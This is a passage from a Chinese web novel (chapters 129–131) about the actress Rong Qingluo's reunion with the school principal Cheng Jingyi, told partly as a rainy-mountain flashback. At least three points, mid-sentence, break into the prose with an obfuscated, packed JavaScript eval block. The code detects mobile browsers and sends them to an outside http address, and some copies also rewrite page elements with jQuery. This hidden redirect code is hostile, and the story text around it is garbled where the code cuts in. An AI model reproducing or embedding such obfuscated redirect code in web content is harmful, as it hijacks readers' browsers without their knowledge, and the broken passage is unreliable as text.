两人还未回答，邱锐拍拍脑袋，又道：“哦对，清洛之前给正宁匿名捐过款。是这件事情曝光出来以后，你们见面的吧？” 程景逸闻言轻笑：“三年前，我在清静山探望一个学生时，有缘见过容小姐一面。不过我那时不怎么关注娱乐新闻，所以没认出容小姐，还请容小姐见谅。” 容清洛：“说到底我也只是个平凡的人，不被认识也很正常。程校长不必介怀，更无需为此道歉。” 程景逸：“当时我只以为是在家访的途中遇见一个需要帮助的漂亮姑娘，哪里想到是为学校请回来一尊财神爷。” 几人都笑。 容清洛：“程校长真幽默。” 程景逸：“容小姐为正宁中学校舍的重建贡献巨大，谢谢你的善心善举。等容小姐空闲了，我带你在校园里好好参观参观。” 容清洛颔首道：“好。” 邱锐继续介绍道：“这位是负责学生管理工作的宋校。” 站在程景逸旁边的中年人长相威严，他对容清洛说话很客气：“容小姐你好，我是正宁中学分管教导处的副校长，我叫宋民，这次主要负责与参加录制的学生们有关的事宜。” 容清洛：“宋校你好，录制期间还请多多指教。” 该介绍下一个人时，邱锐笑得开怀。 他指着站在宋民身侧的女人道：“这位吴老师，想必清洛你应该很熟悉吧，她将担任此次节目中韶光一班的班主任，协助嘉宾们进行支教活动。” 容清洛看着吴焕晗笑：“是，我们是老朋友了。吴老师，合作愉快。” 吴焕晗眨眨眼：“合作愉快。” 其他嘉宾陆续到来，几人寒暄一阵后便都散开，各自归位。 这是录制的第一天，程景逸和宋民站在走廊外，注视着教室内的情况。 吴焕晗正准备往学生们的录制教室走去，程景逸叮嘱她道：“吴老师，你是班主任，班级的空调温度你要时刻注意。最近天气暑热难耐，为了老师和同学的身体健康，一定要保持室内的清凉，但是也不要温度过低。要防止出现人员中暑或者感冒的情况。” 宋民感慨道：“你们年轻人还是心细。” 程景逸：“考虑周全一点总不是坏事。” 吴焕晗点头：“好的程校长，我会留心这一点。” 129. 喜相逢 三年前。 西华市，秀林县。 容清洛坐在跑车的驾驶座，导航里不断传出指示道路的声音。 她正注意着路上车辆的情况，这时电话铃声响起。 吴焕晗很抱歉：“洛洛，你快到了吧，只是我这临时被主任喊去加班，下午还得在学校……” 容清洛：“你这才从市里轮岗过来，还以为会轻松一点，没想到也是来干苦力的呀。” 她小声吐槽道：“双休日还加班，加个半天得了，怎么加了半天还有半天。” 吴焕晗：“县城小学校，老师不多，只能互相理解一下。唉，社畜老师的烦恼，大明星你是不会不懂的。” “只是……下午本来约好要带你在县里到处逛逛的，这下都泡汤了。我晚上什么时候回去还不知道呢。” 容清洛轻笑：“没事儿，焕焕，你忙你的，我自己逛也是一样的。” 吴焕晗停顿一下，说道：“洛洛对不起……你这好不容易有个休假，来秀林县散心，我却没时间陪你。” 容清洛在路边停下，降下车窗道：“这有什么，我在这边玩好几天呢。改天你有空带我尝尝秀林县有名的小吃就行。” 她靠在椅背上，有凉风吹进来，拂起她的发梢：“对了焕焕，我上午在你住的小区附近转了转，听说这附近有座清静山，山上有座清静观？” 吴焕晗的声音有些模糊：“有吧，好像听人提起过，不过我也没去过。” 容清洛的手在导航屏幕上轻点：“我在导航上查了下，也不太远，我想去看看……” 那边突然传来嘈杂的背景音，有人在喊吴焕晗。 吴焕晗回了一句“稍等”。 容清洛：“焕焕，你先去忙吧，我一个人转转就行。这么大人了，丢不了。” 吴焕晗调侃道：“嗐，你确实是丢不了。我这不是怕你这个顶流女星魅力太大，引起骚乱嘛。” “有我在的话，有些事我可以出面帮你做，你就少些麻烦。” 容清洛：“你放心，帽子、墨镜、口罩这些我都带着呢，全副武装，不会被发现的。” 为了增强可信度，她补充道：“而且我今天出去吃早饭，和早餐店老板娘聊了会儿天，也没被认出来。这县里的大叔大妈不是我的受众，根本不认识我的。” 吴焕晗失笑：“行吧，勇还是你勇。有事随时打电话哈。” 容清洛：“嗯，你去忙吧，晚上见。” 电话挂断后，容清洛瞅着导航上的地图研究起来。 她早上吃饭比较晚，这会儿还不是很饿，不太吃得下午饭。 春日的正午，艳阳天。 明媚的春光却无法让她开心起来。 容清洛也不知道自己到底是怎么了。 她这一年都很奇怪。 自从那件事情了结以后，自从那个人仿佛人间蒸发一般消失以后，她就仿佛突然失了魂。 她放不下。 容清洛知道她自己目前这个状态非常不好，只好跟公司请病假，来找吴焕晗散心。 “姓晏的那个混蛋不会是个狐狸精吧，怎么他人都不见了，还能把我的魂带走……”容清洛自言自语道。 她戴上墨镜，一脚踩下油门：“就去清静观了，今天必须得去观里拜拜。” 秀林县不大，但是容清洛驱车到清静山还是费了些时间。 山路弯弯绕绕，有的路段一面是山、一面是田。 装满沙石的大卡车迎面而来和容清洛的跑车错肩而过，扬起的尘沙从降下的车窗飘进车内，糊了容清洛满脸，她连忙把四面车窗升起。 又往前行驶片刻，拐过一个弯，容清洛看见前面不远处有一处山坳塌下半截，山石滚落在道路一旁。 昨天她才到西华市，考虑到她毕竟是流量明星，为了方便，吴焕晗给她租了辆车。 两人从市区开车到县里，走了一段高速，又走国道，花了三四个小时，傍晚终于抵达秀林县。 容清洛才把行李搬进吴焕晗租的小公寓里，窗外就毫无征兆地下起瓢泼大雨。 吴焕晗庆幸：“还好咱们动作快，不然得被淋成落汤鸡，我可没带伞。” 这场雨持续了大半夜，容清洛第二天早上起来时，窗外已是雨过天晴。 城市里待惯了，没想到大雨会对道路造成阻碍。 此刻面对山路的崎岖，容清洛皱眉：“大意了。” 好在那石头没有将路全部堵上。 有几个工人在这里铲石头，其中一个大叔戴着安全帽，瞧见容清洛的车，打手势示意她从边上通过。 想来刚刚那辆大卡车上装的就是从这里运走的沙石。 这会儿对面没有车来，容清洛便按照那个大叔的指示将车开了过去。 来都来了，开车走了快一个小时，都快摸到清静山的边了，她实在是不想原路返回。 经过这个小插曲之后，不到十分钟，容清洛就按照导航找到了清静山的山脚。 望着高高的石阶，容清洛秉承着“来都来了”的精神，戴好遮阳帽、墨镜、口罩，全副武装地踏上第一级台阶。 虽然是春日，天气还不算热，但爬山确实累人，口罩堵得容清洛难受。 她这一路走来都没碰到几个人，想来应该不戴口罩也不碍事。 容清洛便把口罩和墨镜摘下，放进随身的小挎包中，只戴着遮阳帽轻装上阵。 清静山不算景区，只是这道观刚好建在山上。 容清洛一路拾级而上，见到山上有不少人家。 都是土墙瓦顶，有的人家门前的场子上还晒着不少东西。 好在容清洛平日里为了保持身材经常健身，再加上作为女团成员，她需要每天练舞，所以体质还不错，一个小时就爬到山顶，瞧见清静观高高的屋檐。 有几个大娘坐在山门旁，面前摆放着竹篮，里面有些吃喝的小玩意，也有各式各样的小挂件。 其中一个老奶奶格外年迈，满头花白，那眼神让容清洛不忍拒绝，便顺手抓起一大把挂件买下，塞进包里。 小挎包容量有限，拉链差点没有拉上。 几双眼睛盯着容清洛，在集结了数万粉丝的演唱会现场也从不紧张的她，瞬间有些不好意思。 确实不好只买一个人的东西，但她的包实在是已经装不下了…… 容清洛付完款，转身准备快速踏进山门，那老人家拉住她，往她手里塞了根红绳手链：“年轻女娃娃，你买我这么多葫芦挂件，我也送你点东西。” 容清洛本不想要，奈何那老奶奶留下一长串话后，抱起竹篮就走，容清洛竟然还有点追不上。 旁边一个稍微年轻一点的大婶悄悄喊住容清洛：“姑娘，裴老太的红绳你拿着便是，好东西。” 见容清洛一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老道说道：“山海隔万里，有缘自相逢。无缘对面走，咫尺成天涯。花开花又落，因果遁复循。姻缘一线牵，相逢可识君。” 老道的胡子花白，声音悠远而又绵长。 容清洛不由自主地跟着重复：“山海隔万里，有缘自相逢。” 她还想再问几句，老道闭着眼，像是睡着了，她只得歇下心思，从后门离开道观。 这时，天色已经有些暗，乌云滚滚压在天边。 容清洛点开手机屏幕，才下午三点多。 怕是要下雨。 她加快了步伐。 摩挲着手里的红绳，容清洛循着山路往下，没过多久，瞧见瀑布。 这边是后山，路明显没有前山好，都是些泥路土路。 昨天下过雨，有些地方还没有干，容清洛出门前干净的小白鞋这会儿已蒙上一层灰扑扑的沙尘和泥泞。 她沿着前人经过留下的足迹一路向下，走了大概五六分钟，路旁翠绿的树木到达尽头，视野开阔起来，露出右边一大片场地。 左边仍旧有路往山下而去，容清洛则走向右边的那一排瓦房。 容清洛隐约听见有一间堂屋里传出来说话声。 她循着声音寻过去，是正中间那间房门敞开的屋子。 “谢谢程校长，您真是帮了我们家太多，真是不知道该怎么感谢您……” 容清洛听出这是裴老太的声音。 她的声音和她的人一样充满韧劲儿，带着点力道。 这老太太看出自己买多点挂件是为了接济她，就非要送点什么作为回报，不肯轻易欠别人的，哪怕是陌生人的怜悯。 能让这样一个人说出这样的话，容清洛不禁好奇她口中的“程校长”是怎样的人。 130. 喜相逢 一道非常年轻但是很沉稳的男声在屋内响起。 “没事，我是万川的老师，关心他是我的职责所在。” “昨天的雨下得实在是太大了，还好你们人没事。” “刚刚我已经和万川一起把这几间屋子检查过一遍，除了最左边堆杂物的那间，房顶有些漏水以外，其他没什么大碍。” “您别担心，也别害怕，我和万川已经一起把那间房的屋顶重新铺了一下……” 这人语速不快，吐字清晰，一字一句让人听着心安。 容清洛靠着墙，觉得像是回到了山顶的清静观，清风拂过，耳边仿若响起石磬长鸣。 有种莫名的熟悉感。 她正想探头看看是谁在屋内说话，身后有人轻拍她的肩膀。 容清洛回头。 一个看起来十六七岁的男生左右两只手都拎着工具，身上沾着不少水泥。 他把东西摆在墙根下，问道：“你是谁？站在这里有什么事？” 房间内的人听到外面的响动，也出来查看。 裴老太一眼认出容清洛：“你是刚刚清静观门口的那个女娃娃，你怎么走到这里来了？” 容清洛从包里拿出红绳，正准备开口，把红绳还给裴老太。 从屋内又走出一人。 容清洛的目光从那人身上瞥过，停顿一秒，又转回那人的眉眼和脸庞，便再也挪不开。 裴老太喊容清洛：“女娃，你刚要说什么？” 容清洛回过神，发现裴老太的手在她眼前晃了又晃，下意识答道：“啊，没什么。” 她的大脑现在一片混乱，自己为什么出现在这里，刚刚想要说什么，这些问题早已被她抛之脑后。 再遇故人，她仿佛被钉在原地。 已经有多少年没见过程景逸了？ 认真算起来，已是十一年了。 如果在一年以前和程景逸重逢，容清洛的高兴肯定会特别纯粹。 可是刚刚那一刻，她在故人重逢的喜悦里察觉到一丝隐秘的失望。 是的，她竟然会有一点点失望。 失望于她见到的，不是另一个她想念的人。 在这样的瞬间，容清洛的心里突然很惊恐。 可是她不得不承认，在晏行铮离去的一年以后，她终于认清一个事实。 原来，不知不觉间，在她心里，程景逸似乎早已被另一个身影替代。 她和程景逸分别的时间太过长久，久到程景逸的面容已经逐渐模糊，直到如今重逢才再次清晰起来。 不过，她仍然把程景逸当成是生命里很重要的朋友，她仍旧感念曾经在艰难的岁月里程景逸的陪伴。 虽然最终，他不告而别，她改头换面。 多年以后，在这个当下，在这小小的屋檐之下，站着四个人。 裴老太，和她的孙子裴万里。 容清洛，和她的故人程景逸。 奇妙的氛围在这个不起眼的角落里一点点发酵。 裴老太见几个人干瞪眼，便介绍起来。 “这是我孙子，正在读高中。” “这是我孙子他们学校的校长。” “这是我刚在清静观山门前认识的女娃。” 简短的介绍过后，是寒暄。 瞧见程景逸眼里的陌生和面色的坦荡，容清洛的心一点一点不受控制地抽痛。 造化弄人，如今朱颜已改，面容早换，对面相逢，他又如何认出她？ 电光火石之间，容清洛回忆起清静观白胡子老道所说的话。 「山海隔万里，有缘自相逢。」 「无缘对面走，咫尺成天涯。」 「花开花又落，因果遁复循。」 「姻缘一线牵，相逢可识君。」 那她和他，究竟是有缘还是无缘呢？ 若是无缘，为何当年杳无音信的人会毫无征兆地突然出现在自己面前？还恰好是在晏行铮消失以后，她最难过的时刻。 若是有缘，为何要叫人的命运如此充满牵绊与纠葛，在情最淡时上演对面不识君的狗血大剧？ 他们之间，什么是因？什么是果？ 而如今，究竟是隔了万里相思的有缘相会？还是咫尺终成天涯的相逢陌路？ 也许还算是有缘吧。 万里相会，缘牵一线。 这红线的一头系在容清洛腕间。 而红线的另一端，站着的究竟是谁呢？ 或者说，她希望是谁？ 容清洛的心绪宛如一团乱麻。 也许是她的目光里饱含着太多复杂的情感，丝丝缕缕通过那红线牵扯着程景逸的心弦，让他在这一霎那突然胸口有些闷。 程景逸迟疑开口：“这位姑娘，可是遇到什么难事？” 见自己一句话让对面的女子瞬间泪眼盈盈、伤心落泪，程景逸顿时有些手忙脚乱。 让他开导学生，他十分在行。 可是哄姑娘？ 他这辈子也没哄过几个姑娘啊。 除了他妹妹程景心……以及季希。 这时，天空飘起雨丝。 朦胧的雨雾升起。 雨滴渐渐变成豆大的雨点儿，仿佛断了线的玉珠不断地从天空砸向地面。 大地很快被雨水浸润。 一如容清洛眼底的泪花、脸颊上的泪痕。 程景逸从屋内拿出一把伞，打开，撑在容清洛头顶，为她遮住天上雨水的吞噬，却止不住她泪珠的滂沱。 容清洛抬眼，撞进年轻男子关切又磊落的双眸。 程景逸，你还是这样的热心肠。 朋友出事你要管，学生有难处你要管。 如今陌生人的眼泪也会让你牵肠挂肚吗？ 想到过往的种种，想到晏行铮，想到突然出现的程景逸，想到她一路走来的这些年，容清洛实在是支撑不住，抱着膝蹲在地上放声痛哭起来。 不过，她虽然难受，与故人契阔相逢的欢喜却始终萦绕在她的心中。 这哭泣更像是一种宣泄，是对她生命中的珍宝失而复得的庆幸，还暗暗夹杂着难以倾吐的委屈。 也许是她哭得太过惨烈，将在场的几人都镇住，一时间，清静山后山的这一隅，这天地间小小的屋檐下，只能听见女子悲痛的哭泣，以及雨水打在屋顶瓦片上淅淅沥沥的声响。 这样的一曲悲歌，让在场几人的心里都沉重起来。 裴老太连忙上前抱住容清洛：“女娃娃，怎么这样伤心，别哭坏了身子，下着雨呢，进屋坐坐吧。” 她轻柔地把容清洛扶起，拉进屋内坐下，面色和蔼、小心翼翼地搭着话：“女娃你是要下山吧？那你走岔路了。你应该从前山走，走你上山的那条道。” 容清洛此时已经缓过劲儿来，不再流泪，她靠在椅子上，接过裴老太递过来的纸巾，尴尬地微笑，回应道：“是，不小心迷路了。” 身后几道目光射在她的后脑勺上，让她如芒在背。 裴老太避开刚刚发生的事情，没有细问，只是热心道：“你没带雨伞吧，雨这会儿下得正大，你在屋里避会雨，等雨小了，让我孙子送你下山吧。” 容清洛默了默，想起身后的人，僵硬地点头道：“好。” *** 昨天夜里的雨太大。 暴雨的冲刷和击打，让正宁中学的教学楼和学生宿舍都塌了房顶。 好在昨天是周五，双休日学生都已回家，没有造成人员伤亡。 程景逸今天本来带着人在学校修房顶，突然想起他们学校最困难的一个学生，家里离得比较远，住在青山镇和北面秀林县交界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586972|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那座山上。 那个孩子叫裴万川，家里只有他和他奶奶相依为命。 祖孙俩守着几间瓦房，靠着政府补助和老太太卖手工艺品的所得过日子。 裴万川差点没读成高中。 是程景逸亲自到裴家走了好几趟，自掏腰包给裴万川交齐学杂费，这才安了裴万川想要出去打工挣钱的心，踏踏实实地准备先把高中读完。 好几年没下过这么大的雨了。 他们这里是贫困山区，条件都不太好。 程景逸心想，这学校的屋舍再差，也比裴万川家的几间瓦房要结实。 给裴万川家里打了几个电话也没有人接，程景逸不敢想象裴家的情况，他把学校的事情交给负责总务处的钟副校长，便带了些工具往清静山赶。 好在老天在绝境时总会予人庇佑。 程景逸到裴家时，家里只有裴万川，他正在做功课。 程景逸问起裴奶奶，裴万川说老人家在清静观山门口卖东西。 听到这话，程景逸心里的石头才落地。 他带着裴万川一起，把裴家这几间瓦房里里外外地仔细检查，没放过房前屋后任何一个角落，好在除了杂物间有点漏水以外，没出大问题。 裴奶奶回来以后，程景逸还顺手帮老人家修好一些老物件。 两人正聊天，这时候有人来了。 是个年轻姑娘。 听起来像是裴奶奶刚刚在清静观山门前认识的。 只是这姑娘像是遇到了什么事情，在雨地里大放悲声。 但程景逸能感受到，这姑娘的哭声里除了悲伤，更夹杂着一种如释重负的感觉，仿佛冬日的寒冰一点点消融，滴答滴答，滴滴答答。 雨水打在她身上，一点一滴。 她仿若这漫山遍野的梨花，清新且淡雅，随着风的方向在枝头迎着雨露，脆弱里隐含着某种坚韧。 曾经也有人在他面前这般哭泣。 所以他为她撑起一把伞，想遮一遮这片刻的风雨。 后来裴奶奶将姑娘拉进屋，她总算没有继续伤心。 大家都很默契地忽略过这一茬。 程景逸见到房子和裴家祖孙俩人都还算安然无恙，并且他已经带着裴万川把房子前前后后收拾了一遍，他今天来裴家的目的已经达成，这会时间已经不算早，便准备告辞。 裴奶奶拉住程景逸不让他走：“程校长，现在雨下得大，山路不好走，您在这儿避会雨吧，晚上吃顿饭再走。” 程景逸推辞不过，只能坐下：“裴奶奶，谢谢您的心意，饭我就不吃了，学校还有事等着我呢，咱们学校的房顶也塌了半边，我还得回去主持大局。现在雨确实大，等雨小一些了我就走。” 说着，他转头去叮嘱裴万川：“万川，下次一定把电话铃声调大一些，打不通电话老师会很担心你们的。” 裴万川乖巧点头。 四个人就这样在裴家瓦房最中间的那间堂屋里坐下，等雨停。 裴万川拿着一些不会做的题目向程景逸请教，两人坐在堂屋一侧的饭桌旁小声地交流起来。 其实，程景逸自从当上校长之后就不再带课，他需要全面主持学校的各项工作，很忙碌。 但是如果有学生来找他咨询问题，他都会很认真且耐心地解答。 他始终记得，自己是一名教师，一个为学生传道、授业、解惑的人。 裴老太和容清洛坐在堂屋的另一角，听着门外的雨声，话着家常。 容清洛时不时地回应裴老太几句话，可她的眼神，却总是不受控制地落在另一边，那个和学生交谈的人身上。 他的眼神温和，言语循循善诱，即便学生没能很快理解，他也不会厌倦，只是换上更通俗易懂的话语谆谆教诲。 原来这就是春风化雨。 131. 喜相逢 这场雨来得快，去得也快。 仿佛只为成全这场对面不识的重逢。 没等太久，雨势渐歇。 裴老太让孙子裴万里送容清洛下山。 裴万里很听话，也很有礼貌。他拿起伞走到容清洛面前：“姐姐，走吧。” 容清洛有点不好意思，她对裴老太道：“裴奶奶，谢谢您借我一处避雨之地。在您家里叨扰许久，已经很抱歉。您不用麻烦小裴同学辛苦走一趟，天都快黑了，他还是个孩子呢。前山的路我上山的时候走过，还记得。您借我一把伞就行，我改天来清静山的时候来还给您。” 裴老太坚持让孙子送容清洛一趟。 两人推让之际，程景逸拿起两把伞，对几人道：“这样吧，天色确实有些暗，万里在家里好好陪陪奶奶，这位姑娘由我送下山吧。你们觉得呢？” 裴老太觉得不错：“程校长出马，我当然放心，只是程校长受累要多走几步路了。” 程景逸浅笑：“就当锻炼身体了。” 说到这里，程景逸的目光转向容清洛，将其中一把伞递给她道：“我今天刚好带了两把伞，虽然颜色不太配得上姑娘，但是刚刚好还能遮雨，送姑娘一把，希望不要嫌弃。” 容清洛讷讷地接过雨伞。 程景逸见她低眉不语，以为她担心他不认路，便道：“放心，这里我经常来，对这边还算熟悉，不会把你带沟里去的。” 容清洛讪笑，手指紧紧抓住伞柄，半晌才道：“谢谢。” 程景逸挑眉：“不客气，举手之劳，不必挂怀。” 临走之际，容清洛回想起自己找过来的初衷，从包里拿出红绳要还给裴老太。 裴老太握住容清洛的手，笑道：“虽然和女娃娃你萍水相逢，也不知道你叫什么，但是莫名地，看着你觉得和你有缘分。” 容清洛微笑。 裴老太：“听你口音不是本地人，来这边玩的吧。老太婆我家徒四壁，没有什么东西可以送给远方而来的朋友，这根红绳就是一点心意，你收着吧。” “女娃儿，这世上没有过不去的坎儿。人们遇见的大多数事情，从生死来看，都是无关紧要的事儿。看开一点，放过自己。哭一哭，之后呀，还是要走接下来的路。” 裴老太的言语真挚又淳朴，将容清洛想要付钱的话堵在口中，她抱住裴老太：“谢谢。” 容清洛和程景逸两人与裴家祖孙告别后，便离开这几间瓦房。 程景逸走得快，容清洛走了两步又回转头，跑到裴万川面前，气喘吁吁地问道：“小裴同学，你们学校叫什么名字，在什么地方？” 裴万川：“我们学校叫正宁中学，就在青山镇上。” 容清洛疑惑：“青山镇在哪里？是秀林县的吗？” 裴万川摇头：“不是，青山镇在古泉县。” 容清洛点头，笑靥如花，她摸摸裴万川的脑袋：“谢谢小裴同学啦，好好学习哦，姐姐会为你加油的。” 裴万川愣愣看着容清洛跑远的身影，摇摇头，便重新埋首在桌前写作业。 此时细雨如烟，笼罩着清静山。 来的时候容清洛是一个人，从清静观顺着山势往下走，来找裴老太还红绳。 走的时候，容清洛的身畔有一故人，他不认得她，却站在她前面挡住风雨，带着她一路攀登。 雨水让这山路变得泥泞不堪，人走在上面，深一脚浅一脚，陷下去，拔出来，鞋子上粘的全是泥巴。 山间有一处陡坡被大雨冲得十分光滑，将前人踩踏出的痕迹洗刷得一干二净，让容清洛实在没什么可以落脚的地方。 对于该怎么爬上去，她实在有些为难。 不会滑下去吧，她不想摔跤啊。 正当容清洛准备把伞收起来充当拐棍的时候，程景逸身手敏捷、十分矫健地几个大跨步爬了上去。 这般如履平地，容清洛甚至没看清楚程景逸具体是怎么爬到高处的。 目瞪口呆之际，一只宽大修长的手伸到容清洛面前。 是程景逸。 他侧蹲在高处，一手举着伞，一手递给容清洛，想要将她拉上去。 容清洛眼神微闪，略微迟疑片刻，缓缓将手放在程景逸手中。 程景逸的手温暖而有力量，在他的帮助下，原本高不可攀的陡坡对于容清洛而言也变得简单起来。 之后的路虽然蜿蜒，却基本都铺着青石板，好走许多。 程景逸放开容清洛的手，调侃道：“接下来可以自己走了吧。” 容清洛解释道：“我确实走山路走得比较少，尤其还是这种大雨之后湿滑的泥路。” 程景逸轻笑：“又多了一种经历，挺好的。” 容清洛：“我听裴奶奶和小裴同学都叫你程校长，我也这么叫你可以吗？” 程景逸不置可否：“你想怎么喊都可以，只是一个称呼而已。” 容清洛：“程校长，你们学校在哪里呀？” 程景逸：“在古泉县。” 容清洛好奇：“那小裴同学怎么住在秀林县呢？” 程景逸一直走在容清洛前方两步，算是为她探路。 此时听到这话，他停住脚步，回转身轻笑：“你果真是外地人，对这里确实是不太熟悉。” 容清洛没想到程景逸会突然停下。 现在是在下山，这会雨已经很小了，两人走得比较快。 容清洛一个没刹住脚便撞进程景逸怀里。 容清洛比程景逸的身高要低一些，但是由于此刻两人都在步道的石阶上，容清洛比程景逸高一个青石板台阶，这让容清洛足以和程景逸相对而视。 程景逸站得很稳，脚步丝毫未动。 容清洛心慌意乱，动作慌张，急急忙忙地往后退。 一个没注意，她被身后的石阶绊住，仰面向后跌去。 程景逸及时伸手拉住容清洛，却看见她面上露出痛苦的神色，忙问道：“怎么了？” 容清洛在程景逸的搀扶下站好，忍着脚踝的刺痛道：“程校长，我脚崴了。” 程景逸：“哪只脚，介意我察看一下吗？” 容清洛：“右脚。” “你看吧。” 程景逸把伞收起来，递给容清洛。 这两把伞都是长柄的直杆伞。 容清洛一手举着撑开的伞，一手将另一把伞像拐棍一样拄在地上。 两人此时便共同打着同一把伞。 程景逸蹲下来，挽起容清洛右边的裤脚，细细观察片刻，皱眉道：“确实有点肿。” 他将容清洛的裤腿放下，站起身，面无表情道：“我背你下山吧。” 看着立在面前宽阔的后背，容清洛一时没有反应过来。 程景逸要背她？ 看他的表情，他好像其实也不太愿意？ 容清洛婉拒道：“没事儿，我自己走吧，只是稍微歪了一下而已。” 说着，容清洛便绕开程景逸想要自己下山。 只是她的右脚刚动一步，踩踏在地面上时，右脚脚踝处便传来钻心的疼痛。 她定在那里，进退两难。 程景逸往下走两个台阶，又站在容清洛面前，说道：“你这扭伤看起来有点严重，我又不是医生，确实是不会处理。” “你别逞强了，脚崴了如果乱动加重伤势怎么办，我背你下山，然后送你去医院。” 说着他转过身去，示意容清洛上来。 容清洛闷闷问道：“程校长，你有女朋友吗？” 程景逸回头：“没有，怎么了？” 容清洛：“没什么。” 感受到程景逸的目光，她补充道：“男女授受不亲，这不是怕破坏程校长你的清誉嘛。” 程景逸挑眉道：“我看你年纪也不大，怎么还有这些封建思想？这荒山野岭的，你难不成能飞下山去？我不背你，留着你一个人在这山道上过夜？小心晚上被狼给叼走。” 他又背过去，低着身子，说道：“上来吧。” 容清洛只好趴在程景逸背上，同时为两人撑起伞。 程景逸虽然背上压着一个人，步伐却仍然十分稳健，步速没有丝毫放慢。 察觉到两人之间的沉默，他问容清洛：“你读过《孟子》吗？” 容清洛：“怎么？” 程景逸：“里面记载了孟子说的一句话：‘嫂溺不援，是豺狼也。男女授受不亲，礼也；嫂溺，援之以手者，权也。’” 他反问道：“即便我有女朋友，如果我遇见老弱病残，却囿于男女之别而不施以援手，我和豺狼何异？” 容清洛撇嘴：“行吧，你有理，谢谢程大善人。” 程景逸轻笑：“你刚刚问我那个学生住在哪里是吧？” “这还真可以和你说道说道。” 容清洛：“你说。” 程景逸娓娓道来：“这座清静山其实原本是两座山。前山为静山，清静的静。后山为清山，清静的清。” “而这清山又名青山，就是去掉三点水后，青山绿水的那个青山。这也是青山镇名字的来源。” “古泉县位于西华市西面。秀林县位于西华市的西北面，也就是古泉县的北面。而清静山便坐落于古泉县和秀林县之间的地界。静山是前山，属于秀林县。清山是后山，属于古泉县的青山镇。裴万川住在后山，那当然是住在古泉县的青山镇，而不是秀林县。” 容清洛听得头大：“好绕呀。” 但是她弄明白了一件非常关键的事情：“所以你们学校就在古泉县的青山镇？” 程景逸：“对。” 此时雨已停。 两人终于走到山脚。 程景逸把容清洛放下，叮嘱道：“我的车停在后山山脚，开不过来。我去前边看看，如果有人愿意载我们一程就最好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586973|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你在这里歇息一会儿，我马上就回来。” 容清洛正准备说些什么，程景逸的电话突然响起。 程景逸抱歉道：“我先接个电话。” 那头的声音容清洛听得不甚清晰，只能瞧见程景逸越皱越紧的眉头。 最后，她听见程景逸对着手机另一端的人说道：“咱们学校的校舍确实年岁比较久远，多少年都没有重新修整。这回大雨冲塌了屋顶，也是给我们提个醒，一定要高度重视。” “嗯，除了修好屋顶，还要借此机会对全校的建筑进行检查，排除安全隐患。” “为了学生的安全着想，学校这些校舍一定要整体大修整。资金不够这个问题，我来想办法。钟校，你先捡最重要的修整。” “……” 程景逸的电话终于结束，他沉默地盯着山上苍翠的草木以及曲折的青石板道路，寂静无言。 半晌，程景逸才想起来旁边还站着一个人正等着他。 他不好意思道：“对不住，学校有些事情……” 容清洛拉住程景逸，止住了他的话头。 她指着不远处正往这边跑来的身影，说道：“那是我朋友，她有车。” “刚刚在裴奶奶家避雨时，我就联系了她，她现在也到了。” 容清洛看着程景逸的眼睛，真诚地感谢道：“今天谢谢你，程校长。已经不早了，你应该还有事情要忙。我就不耽误你了。医院，我朋友可以带我去的。” 学校的事情确实让程景逸万分牵挂，他向容清洛确认道：“你们可以吗？” 容清洛点点头，催促道：“放心吧，你快回去。要原路返回，从后山开车走，这估计要花不少时间。天暗，你注意安全。” 程景逸：“那我走了，再见。” “哎程校长，等等。”容清洛的包里塞了很多裴老太卖的葫芦挂件，她低头从里面翻出一个最漂亮的递给程景逸，“喏，这是你送我下山的谢礼。” 程景逸失笑：“这东西我有好多，都是从裴奶奶那里买的。” 容清洛扬眉：“我送的和你买的不一样。” “要不我送你这个？”她从包里又翻出裴老太送给她的那根红绳，“听说这个开过光，可灵了。” 程景逸挑眉：“这个我也有，裴奶奶也给过我一条。” 容清洛有些尴尬地收回手，小声嘀咕道：“这些不会都是批发的吧。” 不知道为什么，程景逸总觉得这个姑娘有些熟悉，尤其是她的声音，熟识得好似以前天天听一样。 可能因着这点熟识的感觉，程景逸实在是有些不忍心看见这姑娘失落的表情。 他眼疾手快地从容清洛手中拿过那个葫芦挂件，笑道：“挂件我收了，红绳你留着戴吧。” 说罢，转身扬长而去。 容清洛在后面挥手，大喊道：“程校长，再见。” 吴焕晗跑过来时，程景逸已经重新上山了。 她只能看见一个年轻男子的背影，高挑而挺拔，感觉是个帅哥。 而容清洛哭丧着脸：“焕焕，我脚崴了。” *** 吴焕晗开车带着容清洛往秀林县医院赶：“还好我们学校主任还有点良心，没有把周六一整天的时间全部占满，让我们早点散了。” “没想到刚和你联系，你就送我一份大礼……洛洛，你脚疼得厉害吗？” 容清洛：“还行，扭伤的时候有点疼，现在休息一阵感觉好多了。” “焕焕，我把租的车开走了，你怎么过来的？” 吴焕晗：“我坐公交到最近的站点，运气好，碰到了顺风车，人家刚好也到这边，捎了我一段路。” 容清洛：“幸亏有你在，不然我这脚扭了，今天车也开不回去。” 吴焕晗想起刚刚在山脚下远远看到的潇洒背影，问道：“洛洛，你今天是不是有美丽的邂逅？” “不然你这脚都歪了，怎么下的山？” 容清洛摇头不语。 